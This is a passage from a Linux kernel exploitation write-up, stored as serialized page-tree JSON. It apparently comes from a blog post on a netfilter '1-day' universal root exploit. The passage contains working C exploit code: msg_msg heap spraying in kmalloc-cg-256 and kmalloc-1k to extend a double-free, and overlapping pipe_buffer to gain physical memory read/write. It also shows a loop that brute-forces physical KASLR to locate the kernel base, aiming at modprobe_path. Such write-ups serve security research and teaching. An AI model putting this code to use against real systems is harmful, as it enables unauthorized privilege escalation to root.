{\n",{"type":22,"tag":101,"props":61614,"children":61615},{"class":103,"line":1118},[61616,61620,61624,61628,61632,61636,61640],{"type":22,"tag":101,"props":61617,"children":61618},{"style":108},[61619],{"type":27,"value":25138},{"type":22,"tag":101,"props":61621,"children":61622},{"style":114},[61623],{"type":27,"value":61501},{"type":22,"tag":101,"props":61625,"children":61626},{"style":108},[61627],{"type":27,"value":13822},{"type":22,"tag":101,"props":61629,"children":61630},{"style":126},[61631],{"type":27,"value":61562},{"type":22,"tag":101,"props":61633,"children":61634},{"style":120},[61635],{"type":27,"value":758},{"type":22,"tag":101,"props":61637,"children":61638},{"style":166},[61639],{"type":27,"value":8615},{"type":22,"tag":101,"props":61641,"children":61642},{"style":120},[61643],{"type":27,"value":61644},"prev;\n",{"type":22,"tag":101,"props":61646,"children":61647},{"class":103,"line":1158},[61648],{"type":22,"tag":101,"props":61649,"children":61650},{"style":120},[61651],{"type":27,"value":20576},{"type":22,"tag":23,"props":61653,"children":61654},{},[61655,61657,61663,61665,61670],{"type":27,"value":61656},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":22,"tag":30,"props":61658,"children":61660},{"className":61659},[],[61661],{"type":27,"value":61662},"mlist.next",{"type":27,"value":61664}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":22,"tag":30,"props":61666,"children":61668},{"className":61667},[],[61669],{"type":27,"value":61441},{"type":27,"value":61671}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":22,"tag":23,"props":61673,"children":61674},{},[61675,61677,61682,61684],{"type":27,"value":61676},"By incrementing the next pointer of our controllable ",{"type":22,"tag":30,"props":61678,"children":61680},{"className":61679},[],[61681],{"type":27,"value":61441},{"type":27,"value":61683}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":22,"tag":7959,"props":61685,"children":61687},{"alt":54574,"src":61686},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":22,"tag":91,"props":61689,"children":61691},{"className":33109,"code":61690,"language":33111,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[61692],{"type":22,"tag":30,"props":61693,"children":61694},{"__ignoreMap":7},[61695,61702,61710,61736,61753,61801,61808,61848,61880,61887,61908,61915,61962,62026,62052,62098,62122,62166,62173,62181,62217,62241,62248,62268,62275],{"type":22,"tag":101,"props":61696,"children":61697},{"class":103,"line":104},[61698],{"type":22,"tag":101,"props":61699,"children":61700},{"style":120},[61701],{"type":27,"value":14324},{"type":22,"tag":101,"props":61703,"children":61704},{"class":103,"line":157},[61705],{"type":22,"tag":101,"props":61706,"children":61707},{"style":120},[61708],{"type":27,"value":61709}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":22,"tag":101,"props":61711,"children":61712},{"class":103,"line":182},[61713,61718,61722,61726,61731],{"type":22,"tag":101,"props":61714,"children":61715},{"style":120},[61716],{"type":27,"value":61717}," msg_t *msg = calloc(1, ",{"type":22,"tag":101,"props":61719,"children":61720},{"style":114},[61721],{"type":27,"value":59324},{"type":22,"tag":101,"props":61723,"children":61724},{"style":120},[61725],{"type":27,"value":980},{"type":22,"tag":101,"props":61727,"children":61728},{"style":114},[61729],{"type":27,"value":61730},"msg_t",{"type":22,"tag":101,"props":61732,"children":61733},{"style":120},[61734],{"type":27,"value":61735},") + 0xe8 - 48);\n",{"type":22,"tag":101,"props":61737,"children":61738},{"class":103,"line":367},[61739,61743,61748],{"type":22,"tag":101,"props":61740,"children":61741},{"style":108},[61742],{"type":27,"value":23067},{"type":22,"tag":101,"props":61744,"children":61745},{"style":126},[61746],{"type":27,"value":61747}," qid",{"type":22,"tag":101,"props":61749,"children":61750},{"style":120},[61751],{"type":27,"value":61752},"[SPRAY];\n",{"type":22,"tag":101,"props":61754,"children":61755},{"class":103,"line":398},[61756,61760,61764,61768,61772,61776,61780,61784,61788,61793,61797],{"type":22,"tag":101,"props":61757,"children":61758},{"style":3595},[61759],{"type":27,"value":7078},{"type":22,"tag":101,"props":61761,"children":61762},{"style":120},[61763],{"type":27,"value":3603},{"type":22,"tag":101,"props":61765,"children":61766},{"style":108},[61767],{"type":27,"value":23037},{"type":22,"tag":101,"props":61769,"children":61770},{"style":120},[61771],{"type":27,"value":58540},{"type":22,"tag":101,"props":61773,"children":61774},{"style":166},[61775],{"type":27,"value":1511},{"type":22,"tag":101,"props":61777,"children":61778},{"style":1544},[61779],{"type":27,"value":1547},{"type":22,"tag":101,"props":61781,"children":61782},{"style":120},[61783],{"type":27,"value":55229},{"type":22,"tag":101,"props":61785,"children":61786},{"style":166},[61787],{"type":27,"value":123},{"type":22,"tag":101,"props":61789,"children":61790},{"style":120},[61791],{"type":27,"value":61792}," SPRAY; i",{"type":22,"tag":101,"props":61794,"children":61795},{"style":166},[61796],{"type":27,"value":55265},{"type":22,"tag":101,"props":61798,"children":61799},{"style":120},[61800],{"type":27,"value":2510},{"type":22,"tag":101,"props":61802,"children":61803},{"class":103,"line":428},[61804],{"type":22,"tag":101,"props":61805,"children":61806},{"style":120},[61807],{"type":27,"value":33186},{"type":22,"tag":101,"props":61809,"children":61810},{"class":103,"line":997},[61811,61816,61820,61824,61829,61834,61839,61843],{"type":22,"tag":101,"props":61812,"children":61813},{"style":126},[61814],{"type":27,"value":61815}," qid",{"type":22,"tag":101,"props":61817,"children":61818},{"style":120},[61819],{"type":27,"value":58592},{"type":22,"tag":101,"props":61821,"children":61822},{"style":166},[61823],{"type":27,"value":1511},{"type":22,"tag":101,"props":61825,"children":61826},{"style":926},[61827],{"type":27,"value":61828}," msgget",{"type":22,"tag":101,"props":61830,"children":61831},{"style":120},[61832],{"type":27,"value":61833},"(IPC_PRIVATE, ",{"type":22,"tag":101,"props":61835,"children":61836},{"style":1544},[61837],{"type":27,"value":61838},"0666",{"type":22,"tag":101,"props":61840,"children":61841},{"style":166},[61842],{"type":27,"value":8314},{"type":22,"tag":101,"props":61844,"children":61845},{"style":120},[61846],{"type":27,"value":61847}," IPC_CREAT);\n",{"type":22,"tag":101,"props":61849,"children":61850},{"class":103,"line":1032},[61851,61855,61859,61864,61868,61872,61876],{"type":22,"tag":101,"props":61852,"children":61853},{"style":3595},[61854],{"type":27,"value":7312},{"type":22,"tag":101,"props":61856,"children":61857},{"style":120},[61858],{"type":27,"value":3603},{"type":22,"tag":101,"props":61860,"children":61861},{"style":126},[61862],{"type":27,"value":61863},"qid",{"type":22,"tag":101,"props":61865,"children":61866},{"style":120},[61867],{"type":27,"value":58592},{"type":22,"tag":101,"props":61869,"children":61870},{"style":166},[61871],{"type":27,"value":123},{"type":22,"tag":101,"props":61873,"children":61874},{"style":1544},[61875],{"type":27,"value":1547},{"type":22,"tag":101,"props":61877,"children":61878},{"style":120},[61879],{"type":27,"value":2510},{"type":22,"tag":101,"props":61881,"children":61882},{"class":103,"line":1063},[61883],{"type":22,"tag":101,"props":61884,"children":61885},{"style":120},[61886],{"type":27,"value":35655},{"type":22,"tag":101,"props":61888,"children":61889},{"class":103,"line":1071},[61890,61895,61899,61904],{"type":22,"tag":101,"props":61891,"children":61892},{"style":926},[61893],{"type":27,"value":61894}," perror",{"type":22,"tag":101,"props":61896,"children":61897},{"style":120},[61898],{"type":27,"value":980},{"type":22,"tag":101,"props":61900,"children":61901},{"style":6476},[61902],{"type":27,"value":61903},"\"[-] msgget\"",{"type":22,"tag":101,"props":61905,"children":61906},{"style":120},[61907],{"type":27,"value":994},{"type":22,"tag":101,"props":61909,"children":61910},{"class":103,"line":1110},[61911],{"type":22,"tag":101,"props":61912,"children":61913},{"style":120},[61914],{"type":27,"value":2398},{"type":22,"tag":101,"props":61916,"children":61917},{"class":103,"line":1118},[61918,61922,61926,61931,61935,61939,61944,61948,61953,61957],{"type":22,"tag":101,"props":61919,"children":61920},{"style":166},[61921],{"type":27,"value":11761},{"type":22,"tag":101,"props":61923,"children":61924},{"style":120},[61925],{"type":27,"value":980},{"type":22,"tag":101,"props":61927,"children":61928},{"style":108},[61929],{"type":27,"value":61930},"uint32_t",{"type":22,"tag":101,"props":61932,"children":61933},{"style":166},[61934],{"type":27,"value":13822},{"type":22,"tag":101,"props":61936,"children":61937},{"style":120},[61938],{"type":27,"value":2261},{"type":22,"tag":101,"props":61940,"children":61941},{"style":126},[61942],{"type":27,"value":61943},"msg",{"type":22,"tag":101,"props":61945,"children":61946},{"style":120},[61947],{"type":27,"value":17759},{"type":22,"tag":101,"props":61949,"children":61950},{"style":126},[61951],{"type":27,"value":61952},"mtext",{"type":22,"tag":101,"props":61954,"children":61955},{"style":166},[61956],{"type":27,"value":960},{"type":22,"tag":101,"props":61958,"children":61959},{"style":120},[61960],{"type":27,"value":61961}," i;\n",{"type":22,"tag":101,"props":61963,"children":61964},{"class":103,"line":1158},[61965,61969,61973,61977,61981,61985,61989,61993,61997,62001,62005,62009,62013,62017,62022],{"type":22,"tag":101,"props":61966,"children":61967},{"style":166},[61968],{"type":27,"value":11761},{"type":22,"tag":101,"props":61970,"children":61971},{"style":120},[61972],{"type":27,"value":980},{"type":22,"tag":101,"props":61974,"children":61975},{"style":108},[61976],{"type":27,"value":59631},{"type":22,"tag":101,"props":61978,"children":61979},{"style":166},[61980],{"type":27,"value":13822},{"type":22,"tag":101,"props":61982,"children":61983},{"style":120},[61984],{"type":27,"value":2261},{"type":22,"tag":101,"props":61986,"children":61987},{"style":166},[61988],{"type":27,"value":985},{"type":22,"tag":101,"props":61990,"children":61991},{"style":126},[61992],{"type":27,"value":61943},{"type":22,"tag":101,"props":61994,"children":61995},{"style":120},[61996],{"type":27,"value":17759},{"type":22,"tag":101,"props":61998,"children":61999},{"style":126},[62000],{"type":27,"value":61952},{"type":22,"tag":101,"props":62002,"children":62003},{"style":120},[62004],{"type":27,"value":2414},{"type":22,"tag":101,"props":62006,"children":62007},{"style":1544},[62008],{"type":27,"value":8119},{"type":22,"tag":101,"props":62010,"children":62011},{"style":120},[62012],{"type":27,"value":12668},{"type":22,"tag":101,"props":62014,"children":62015},{"style":166},[62016],{"type":27,"value":1511},{"type":22,"tag":101,"props":62018,"children":62019},{"style":1544},[62020],{"type":27,"value":62021}," 0xdeadbeefcafebabe",{"type":22,"tag":101,"props":62023,"children":62024},{"style":120},[62025],{"type":27,"value":1520},{"type":22,"tag":101,"props":62027,"children":62028},{"class":103,"line":1166},[62029,62034,62038,62043,62047],{"type":22,"tag":101,"props":62030,"children":62031},{"style":126},[62032],{"type":27,"value":62033}," msg",{"type":22,"tag":101,"props":62035,"children":62036},{"style":120},[62037],{"type":27,"value":17759},{"type":22,"tag":101,"props":62039,"children":62040},{"style":126},[62041],{"type":27,"value":62042},"mtype",{"type":22,"tag":101,"props":62044,"children":62045},{"style":166},[62046],{"type":27,"value":960},{"type":22,"tag":101,"props":62048,"children":62049},{"style":120},[62050],{"type":27,"value":62051}," MTYPE_PRIMARY;\n",{"type":22,"tag":101,"props":62053,"children":62054},{"class":103,"line":1215},[62055,62060,62064,62068,62073,62077,62081,62086,62090,62094],{"type":22,"tag":101,"props":62056,"children":62057},{"style":926},[62058],{"type":27,"value":62059}," msgsnd",{"type":22,"tag":101,"props":62061,"children":62062},{"style":120},[62063],{"type":27,"value":980},{"type":22,"tag":101,"props":62065,"children":62066},{"style":126},[62067],{"type":27,"value":61863},{"type":22,"tag":101,"props":62069,"children":62070},{"style":120},[62071],{"type":27,"value":62072},"[i], msg, ",{"type":22,"tag":101,"props":62074,"children":62075},{"style":1544},[62076],{"type":27,"value":59968},{"type":22,"tag":101,"props":62078,"children":62079},{"style":166},[62080],{"type":27,"value":55251},{"type":22,"tag":101,"props":62082,"children":62083},{"style":1544},[62084],{"type":27,"value":62085}," 48",{"type":22,"tag":101,"props":62087,"children":62088},{"style":120},[62089],{"type":27,"value":758},{"type":22,"tag":101,"props":62091,"children":62092},{"style":1544},[62093],{"type":27,"value":8065},{"type":22,"tag":101,"props":62095,"children":62096},{"style":120},[62097],{"type":27,"value":994},{"type":22,"tag":101,"props":62099,"children":62100},{"class":103,"line":2425},[62101,62105,62109,62113,62117],{"type":22,"tag":101,"props":62102,"children":62103},{"style":126},[62104],{"type":27,"value":62033},{"type":22,"tag":101,"props":62106,"children":62107},{"style":120},[62108],{"type":27,"value":17759},{"type":22,"tag":101,"props":62110,"children":62111},{"style":126},[62112],{"type":27,"value":62042},{"type":22,"tag":101,"props":62114,"children":62115},{"style":166},[62116],{"type":27,"value":960},{"type":22,"tag":101,"props":62118,"children":62119},{"style":120},[62120],{"type":27,"value":62121}," MTYPE_SECONDARY;\n",{"type":22,"tag":101,"props":62123,"children":62124},{"class":103,"line":5417},[62125,62129,62133,62137,62141,62146,62150,62154,62158,62162],{"type":22,"tag":101,"props":62126,"children":62127},{"style":926},[62128],{"type":27,"value":62059},{"type":22,"tag":101,"props":62130,"children":62131},{"style":120},[62132],{"type":27,"value":980},{"type":22,"tag":101,"props":62134,"children":62135},{"style":126},[62136],{"type":27,"value":61863},{"type":22,"tag":101,"props":62138,"children":62139},{"style":120},[62140],{"type":27,"value":62072},{"type":22,"tag":101,"props":62142,"children":62143},{"style":1544},[62144],{"type":27,"value":62145},"1024",{"type":22,"tag":101,"props":62147,"children":62148},{"style":166},[62149],{"type":27,"value":55251},{"type":22,"tag":101,"props":62151,"children":62152},{"style":1544},[62153],{"type":27,"value":62085},{"type":22,"tag":101,"props":62155,"children":62156},{"style":120},[62157],{"type":27,"value":758},{"type":22,"tag":101,"props":62159,"children":62160},{"style":1544},[62161],{"type":27,"value":8065},{"type":22,"tag":101,"props":62163,"children":62164},{"style":120},[62165],{"type":27,"value":994},{"type":22,"tag":101,"props":62167,"children":62168},{"class":103,"line":7714},[62169],{"type":22,"tag":101,"props":62170,"children":62171},{"style":120},[62172],{"type":27,"value":1734},{"type":22,"tag":101,"props":62174,"children":62175},{"class":103,"line":7723},[62176],{"type":22,"tag":101,"props":62177,"children":62178},{"style":2215},[62179],{"type":27,"value":62180}," // Prepare evil msg\n",{"type":22,"tag":101,"props":62182,"children":62183},{"class":103,"line":7791},[62184,62188,62193,62197,62201,62205,62209,62213],{"type":22,"tag":101,"props":62185,"children":62186},{"style":108},[62187],{"type":27,"value":23067},{"type":22,"tag":101,"props":62189,"children":62190},{"style":120},[62191],{"type":27,"value":62192}," evilqid ",{"type":22,"tag":101,"props":62194,"children":62195},{"style":166},[62196],{"type":27,"value":1511},{"type":22,"tag":101,"props":62198,"children":62199},{"style":926},[62200],{"type":27,"value":61828},{"type":22,"tag":101,"props":62202,"children":62203},{"style":120},[62204],{"type":27,"value":61833},{"type":22,"tag":101,"props":62206,"children":62207},{"style":1544},[62208],{"type":27,"value":61838},{"type":22,"tag":101,"props":62210,"children":62211},{"style":166},[62212],{"type":27,"value":8314},{"type":22,"tag":101,"props":62214,"children":62215},{"style":120},[62216],{"type":27,"value":61847},{"type":22,"tag":101,"props":62218,"children":62219},{"class":103,"line":7799},[62220,62224,62229,62233,62237],{"type":22,"tag":101,"props":62221,"children":62222},{"style":3595},[62223],{"type":27,"value":16283},{"type":22,"tag":101,"props":62225,"children":62226},{"style":120},[62227],{"type":27,"value":62228}," (evilqid ",{"type":22,"tag":101,"props":62230,"children":62231},{"style":166},[62232],{"type":27,"value":123},{"type":22,"tag":101,"props":62234,"children":62235},{"style":1544},[62236],{"type":27,"value":1547},{"type":22,"tag":101,"props":62238,"children":62239},{"style":120},[62240],{"type":27,"value":2510},{"type":22,"tag":101,"props":62242,"children":62243},{"class":103,"line":7829},[62244],{"type":22,"tag":101,"props":62245,"children":62246},{"style":120},[62247],{"type":27,"value":33186},{"type":22,"tag":101,"props":62249,"children":62250},{"class":103,"line":7837},[62251,62256,62260,62264],{"type":22,"tag":101,"props":62252,"children":62253},{"style":926},[62254],{"type":27,"value":62255}," perror",{"type":22,"tag":101,"props":62257,"children":62258},{"style":120},[62259],{"type":27,"value":980},{"type":22,"tag":101,"props":62261,"children":62262},{"style":6476},[62263],{"type":27,"value":61903},{"type":22,"tag":101,"props":62265,"children":62266},{"style":120},[62267],{"type":27,"value":994},{"type":22,"tag":101,"props":62269,"children":62270},{"class":103,"line":7868},[62271],{"type":22,"tag":101,"props":62272,"children":62273},{"style":120},[62274],{"type":27,"value":1734},{"type":22,"tag":101,"props":62276,"children":62277},{"class":103,"line":7876},[62278],{"type":22,"tag":101,"props":62279,"children":62280},{"style":120},[62281],{"type":27,"value":62282},"[...] // trigger double-free in kmalloc-256\n",{"type":22,"tag":1760,"props":62284,"children":62286},{"id":62285},"using-pipe_buffer-page-pointer-for-physical-readwrite",[62287],{"type":27,"value":62288},"Using pipe_buffer->page pointer for physical read/write",{"type":22,"tag":23,"props":62290,"children":62291},{},[62292,62294,62300,62301,62307,62308,62314,62316,62322],{"type":27,"value":62293},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":22,"tag":30,"props":62295,"children":62297},{"className":62296},[],[62298],{"type":27,"value":62299},"kmalloc-1k",{"type":27,"value":209},{"type":22,"tag":30,"props":62302,"children":62304},{"className":62303},[],[62305],{"type":27,"value":62306},"overlap pipe_buffer",{"type":27,"value":25491},{"type":22,"tag":30,"props":62309,"children":62311},{"className":62310},[],[62312],{"type":27,"value":62313},"skbuf",{"type":27,"value":62315}," data to control the ",{"type":22,"tag":30,"props":62317,"children":62319},{"className":62318},[],[62320],{"type":27,"value":62321},"page",{"type":27,"value":62323}," field.",{"type":22,"tag":23,"props":62325,"children":62326},{},[62327,62328,62333,62335,62341,62343],{"type":27,"value":2007},{"type":22,"tag":30,"props":62329,"children":62331},{"className":62330},[],[62332],{"type":27,"value":62321},{"type":27,"value":62334}," field is a pointer into ",{"type":22,"tag":30,"props":62336,"children":62338},{"className":62337},[],[62339],{"type":27,"value":62340},"vmemmap_base",{"type":27,"value":62342},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":22,"tag":7959,"props":62344,"children":62346},{"alt":54574,"src":62345},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":22,"tag":23,"props":62348,"children":62349},{},[62350,62352,62357],{"type":27,"value":62351},"This now allows us to navigate the ",{"type":22,"tag":30,"props":62353,"children":62355},{"className":62354},[],[62356],{"type":27,"value":62340},{"type":27,"value":62358}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":22,"tag":1760,"props":62360,"children":62362},{"id":62361},"bruteforce-physical-kernel-base",[62363],{"type":27,"value":62364},"Bruteforce physical kernel base",{"type":22,"tag":23,"props":62366,"children":62367},{},[62368,62370,62376,62378,62383,62385,62391],{"type":27,"value":62369},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":22,"tag":30,"props":62371,"children":62373},{"className":62372},[],[62374],{"type":27,"value":62375},"modprobe_path",{"type":27,"value":62377},". Keep in mind that simply searching page by page from the start of ",{"type":22,"tag":30,"props":62379,"children":62381},{"className":62380},[],[62382],{"type":27,"value":62340},{"type":27,"value":62384}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":22,"tag":30,"props":62386,"children":62388},{"className":62387},[],[62389],{"type":27,"value":62390},"PHYSICAL_ALIGN",{"type":27,"value":62392}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":22,"tag":91,"props":62394,"children":62396},{"className":33109,"code":62395,"language":33111,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[62397],{"type":22,"tag":30,"props":62398,"children":62399},{"__ignoreMap":7},[62400,62407,62415,62423,62447,62480,62500,62540,62547,62591,62625,62652,62688,62695,62741,62748,62778,62791,62856,62863,62875,62883,62890,62897,62923,62930,62950,62962,62969,62976,62983],{"type":22,"tag":101,"props":62401,"children":62402},{"class":103,"line":104},[62403],{"type":22,"tag":101,"props":62404,"children":62405},{"style":120},[62406],{"type":27,"value":14324},{"type":22,"tag":101,"props":62408,"children":62409},{"class":103,"line":157},[62410],{"type":22,"tag":101,"props":62411,"children":62412},{"style":120},[62413],{"type":27,"value":62414},"// Bruteforce phys-KASLR\n",{"type":22,"tag":101,"props":62416,"children":62417},{"class":103,"line":182},[62418],{"type":22,"tag":101,"props":62419,"children":62420},{"style":120},[62421],{"type":27,"value":62422}," uint64_t kernel_base;\n",{"type":22,"tag":101,"props":62424,"children":62425},{"class":103,"line":367},[62426,62430,62435,62439,62443],{"type":22,"tag":101,"props":62427,"children":62428},{"style":108},[62429],{"type":27,"value":50469},{"type":22,"tag":101,"props":62431,"children":62432},{"style":120},[62433],{"type":27,"value":62434}," found ",{"type":22,"tag":101,"props":62436,"children":62437},{"style":166},[62438],{"type":27,"value":1511},{"type":22,"tag":101,"props":62440,"children":62441},{"style":108},[62442],{"type":27,"value":13065},{"type":22,"tag":101,"props":62444,"children":62445},{"style":120},[62446],{"type":27,"value":1520},{"type":22,"tag":101,"props":62448,"children":62449},{"class":103,"line":398},[62450,62455,62459,62464,62468,62472,62476],{"type":22,"tag":101,"props":62451,"children":62452},{"style":108},[62453],{"type":27,"value":62454}," uint8_t",{"type":22,"tag":101,"props":62456,"children":62457},{"style":126},[62458],{"type":27,"value":19106},{"type":22,"tag":101,"props":62460,"children":62461},{"style":120},[62462],{"type":27,"value":62463},"[PAGE_SIZE] ",{"type":22,"tag":101,"props":62465,"children":62466},{"style":166},[62467],{"type":27,"value":1511},{"type":22,"tag":101,"props":62469,"children":62470},{"style":120},[62471],{"type":27,"value":1195},{"type":22,"tag":101,"props":62473,"children":62474},{"style":1544},[62475],{"type":27,"value":8065},{"type":22,"tag":101,"props":62477,"children":62478},{"style":120},[62479],{"type":27,"value":20576},{"type":22,"tag":101,"props":62481,"children":62482},{"class":103,"line":428},[62483,62487,62491,62496],{"type":22,"tag":101,"props":62484,"children":62485},{"style":926},[62486],{"type":27,"value":59503},{"type":22,"tag":101,"props":62488,"children":62489},{"style":120},[62490],{"type":27,"value":980},{"type":22,"tag":101,"props":62492,"children":62493},{"style":6476},[62494],{"type":27,"value":62495},"\"[*] bruteforce phys-KASLR\"",{"type":22,"tag":101,"props":62497,"children":62498},{"style":120},[62499],{"type":27,"value":994},{"type":22,"tag":101,"props":62501,"children":62502},{"class":103,"line":997},[62503,62507,62511,62515,62519,62523,62527,62532,62536],{"type":22,"tag":101,"props":62504,"children":62505},{"style":3595},[62506],{"type":27,"value":7078},{"type":22,"tag":101,"props":62508,"children":62509},{"style":120},[62510],{"type":27,"value":3603},{"type":22,"tag":101,"props":62512,"children":62513},{"style":108},[62514],{"type":27,"value":59631},{"type":22,"tag":101,"props":62516,"children":62517},{"style":120},[62518],{"type":27,"value":58540},{"type":22,"tag":101,"props":62520,"children":62521},{"style":166},[62522],{"type":27,"value":1511},{"type":22,"tag":101,"props":62524,"children":62525},{"style":1544},[62526],{"type":27,"value":1547},{"type":22,"tag":101,"props":62528,"children":62529},{"style":120},[62530],{"type":27,"value":62531},";; i",{"type":22,"tag":101,"props":62533,"children":62534},{"style":166},[62535],{"type":27,"value":55265},{"type":22,"tag":101,"props":62537,"children":62538},{"style":120},[62539],{"type":27,"value":2510},{"type":22,"tag":101,"props":62541,"children":62542},{"class":103,"line":1032},[62543],{"type":22,"tag":101,"props":62544,"children":62545},{"style":120},[62546],{"type":27,"value":33186},{"type":22,"tag":101,"props":62548,"children":62549},{"class":103,"line":1063},[62550,62555,62559,62564,62568,62573,62577,62582,62586],{"type":22,"tag":101,"props":62551,"children":62552},{"style":120},[62553],{"type":27,"value":62554}," kernel_base ",{"type":22,"tag":101,"props":62556,"children":62557},{"style":166},[62558],{"type":27,"value":1511},{"type":22,"tag":101,"props":62560,"children":62561},{"style":1544},[62562],{"type":27,"value":62563}," 0x40",{"type":22,"tag":101,"props":62565,"children":62566},{"style":166},[62567],{"type":27,"value":13822},{"type":22,"tag":101,"props":62569,"children":62570},{"style":120},[62571],{"type":27,"value":62572}," ((PHYSICAL_ALIGN ",{"type":22,"tag":101,"props":62574,"children":62575},{"style":166},[62576],{"type":27,"value":8615},{"type":22,"tag":101,"props":62578,"children":62579},{"style":120},[62580],{"type":27,"value":62581}," i) ",{"type":22,"tag":101,"props":62583,"children":62584},{"style":166},[62585],{"type":27,"value":16765},{"type":22,"tag":101,"props":62587,"children":62588},{"style":120},[62589],{"type":27,"value":62590}," PAGE_SHIFT);\n",{"type":22,"tag":101,"props":62592,"children":62593},{"class":103,"line":1071},[62594,62599,62603,62607,62611,62616,62620],{"type":22,"tag":101,"props":62595,"children":62596},{"style":126},[62597],{"type":27,"value":62598}," pipebuf",{"type":22,"tag":101,"props":62600,"children":62601},{"style":120},[62602],{"type":27,"value":17759},{"type":22,"tag":101,"props":62604,"children":62605},{"style":126},[62606],{"type":27,"value":62321},{"type":22,"tag":101,"props":62608,"children":62609},{"style":166},[62610],{"type":27,"value":960},{"type":22,"tag":101,"props":62612,"children":62613},{"style":120},[62614],{"type":27,"value":62615}," vmemmap_base ",{"type":22,"tag":101,"props":62617,"children":62618},{"style":166},[62619],{"type":27,"value":8426},{"type":22,"tag":101,"props":62621,"children":62622},{"style":120},[62623],{"type":27,"value":62624}," kernel_base;\n",{"type":22,"tag":101,"props":62626,"children":62627},{"class":103,"line":1110},[62628,62632,62636,62640,62644,62648],{"type":22,"tag":101,"props":62629,"children":62630},{"style":126},[62631],{"type":27,"value":62598},{"type":22,"tag":101,"props":62633,"children":62634},{"style":120},[62635],{"type":27,"value":17759},{"type":22,"tag":101,"props":62637,"children":62638},{"style":126},[62639],{"type":27,"value":17903},{"type":22,"tag":101,"props":62641,"children":62642},{"style":166},[62643],{"type":27,"value":960},{"type":22,"tag":101,"props":62645,"children":62646},{"style":1544},[62647],{"type":27,"value":1547},{"type":22,"tag":101,"props":62649,"children":62650},{"style":120},[62651],{"type":27,"value":1520},{"type":22,"tag":101,"props":62653,"children":62654},{"class":103,"line":1118},[62655,62659,62663,62667,62671,62676,62680,62684],{"type":22,"tag":101,"props":62656,"children":62657},{"style":126},[62658],{"type":27,"value":62598},{"type":22,"tag":101,"props":62660,"children":62661},{"style":120},[62662],{"type":27,"value":17759},{"type":22,"tag":101,"props":62664,"children":62665},{"style":126},[62666],{"type":27,"value":13147},{"type":22,"tag":101,"props":62668,"children":62669},{"style":166},[62670],{"type":27,"value":960},{"type":22,"tag":101,"props":62672,"children":62673},{"style":120},[62674],{"type":27,"value":62675}," PAGE_SIZE ",{"type":22,"tag":101,"props":62677,"children":62678},{"style":166},[62679],{"type":27,"value":8426},{"type":22,"tag":101,"props":62681,"children":62682},{"style":1544},[62683],{"type":27,"value":3648},{"type":22,"tag":101,"props":62685,"children":62686},{"style":120},[62687],{"type":27,"value":1520},{"type":22,"tag":101,"props":62689,"children":62690},{"class":103,"line":1158},[62691],{"type":22,"tag":101,"props":62692,"children":62693},{"style":120},[62694],{"type":27,"value":14324},{"type":22,"tag":101,"props":62696,"children":62697},{"class":103,"line":1166},[62698,62703,62707,62711,62715,62719,62724,62728,62733,62737],{"type":22,"tag":101,"props":62699,"children":62700},{"style":120},[62701],{"type":27,"value":62702}," for (",{"type":22,"tag":101,"props":62704,"children":62705},{"style":108},[62706],{"type":27,"value":23037},{"type":22,"tag":101,"props":62708,"children":62709},{"style":126},[62710],{"type":27,"value":12630},{"type":22,"tag":101,"props":62712,"children":62713},{"style":166},[62714],{"type":27,"value":960},{"type":22,"tag":101,"props":62716,"children":62717},{"style":1544},[62718],{"type":27,"value":1547},{"type":22,"tag":101,"props":62720,"children":62721},{"style":120},[62722],{"type":27,"value":62723},"; j ",{"type":22,"tag":101,"props":62725,"children":62726},{"style":166},[62727],{"type":27,"value":123},{"type":22,"tag":101,"props":62729,"children":62730},{"style":120},[62731],{"type":27,"value":62732}," PIPE_SPRAY; 